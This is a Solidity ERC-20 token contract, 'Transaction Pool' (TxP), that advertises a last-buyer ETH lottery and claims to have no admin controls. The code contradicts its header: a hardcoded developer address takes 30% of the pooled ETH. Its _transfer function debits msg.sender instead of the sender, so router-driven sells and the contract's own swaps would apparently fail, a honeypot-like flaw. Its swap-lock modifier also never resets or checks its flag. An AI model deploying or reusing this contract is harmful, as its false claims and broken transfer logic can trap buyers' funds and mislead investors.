// SPDX-License-Identifier: MIT
/*

$$$$$$$$\                                                           $$\     $$\                           $$$$$$$\                      $$\ 
\__$$  __|                                                          $$ |    \__|                          $$  __$$\                     $$ |
   $$ | $$$$$$\  $$$$$$\  $$$$$$$\   $$$$$$$\  $$$$$$\   $$$$$$$\ $$$$$$\   $$\  $$$$$$\  $$$$$$$\        $$ |  $$ | $$$$$$\   $$$$$$\  $$ |
   $$ |$$  __$$\ \____$$\ $$  __$$\ $$  _____| \____$$\ $$  _____|\_$$  _|  $$ |$$  __$$\ $$  __$$\       $$$$$$$  |$$  __$$\ $$  __$$\ $$ |
   $$ |$$ |  \__|$$$$$$$ |$$ |  $$ |\$$$$$$\   $$$$$$$ |$$ /        $$ |    $$ |$$ /  $$ |$$ |  $$ |      $$  ____/ $$ /  $$ |$$ /  $$ |$$ |
   $$ |$$ |     $$  __$$ |$$ |  $$ | \____$$\ $$  __$$ |$$ |        $$ |$$\ $$ |$$ |  $$ |$$ |  $$ |      $$ |      $$ |  $$ |$$ |  $$ |$$ |
   $$ |$$ |     \$$$$$$$ |$$ |  $$ |$$$$$$$  |\$$$$$$$ |\$$$$$$$\   \$$$$  |$$ |\$$$$$$  |$$ |  $$ |      $$ |      \$$$$$$  |\$$$$$$  |$$ |
   \__|\__|      \_______|\__|  \__|\_______/  \_______| \_______|   \____/ \__| \______/ \__|  \__|      \__|       \______/  \______/ \__|
                                                                                                                                            
    
    1. Smart contracts have no admin or any permission controls.
    2. Deposit all transaction gas $ETH into this contract pool.
    3. If no purchases of $TxP within 7200 blocks, distribute the ETH to the last buyer.
    4. Purchase more than 100_000_000 $TxP to become the last buyer.
    5. Good Luck.
*/
pragma solidity ^0.8.10;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract TxPool is IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private constant _total = 100_000_000_000_000 * 10 ** 9;
    address payable private _dev;
    bool private swap = false;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address payable public lastBuyer;
    uint256 public pending = block.number + 7200;

    modifier lockTheSwap() {
        swap = true;
        _;
        swap = true;
    }

    receive() external payable {}

    constructor() {
        _balances[msg.sender] = _total;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _dev = payable(0xf87bB9A9014bBD27567203a226A9F3FF8aBA01F5);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        emit Transfer(address(0), msg.sender, _total);
    }

    function name() public pure returns (string memory) {
        return "Transaction Pool";
    }

    function symbol() public pure returns (string memory) {
        return "TxP";
    }

    function decimals() public pure returns (uint8) {
        return 9;
    }

    function totalSupply() public pure override returns (uint256) {
        return _total;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "TxP: approve from the zero address");
        require(spender != address(0), "TxP: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "TxP: transfer from the zero address");
        require(to != address(0), "TxP: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        _balances[msg.sender] -= amount;
        uint256 _gasStage = gasStage();
        if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
            distributeETH();
            uint256 stage = (amount * _gasStage) / 1000;
            swapTokensForEth(stage);
            if (to.code.length == 0 && amount >= 10 ** 17 && _balances[to] > 0) {
                lastBuyer = payable(to);
            }
            amount -= stage;
        }

        if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
            uint256 stage = (amount * _gasStage) / 1000;
            swapTokensForEth(stage);
            amount -= stage;
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function distributeETH() private {
        if (block.number > pending) {
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance > 0) {
                uint256 devGas = (contractETHBalance * 3) / 10;
                _dev.transfer(devGas);
                lastBuyer.transfer(contractETHBalance - devGas);
            }
        }
        pending = block.number + 7200;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function gasStage() internal view returns (uint256) {
        uint256 ethBalance = address(this).balance;
        if (ethBalance < 10 ** 19) {
            return 100;
        }

        if (ethBalance < 10 ** 20) {
            return 50;
        }

        if (ethBalance < 10 ** 21) {
            return 10;
        }

        return 5;
    }
}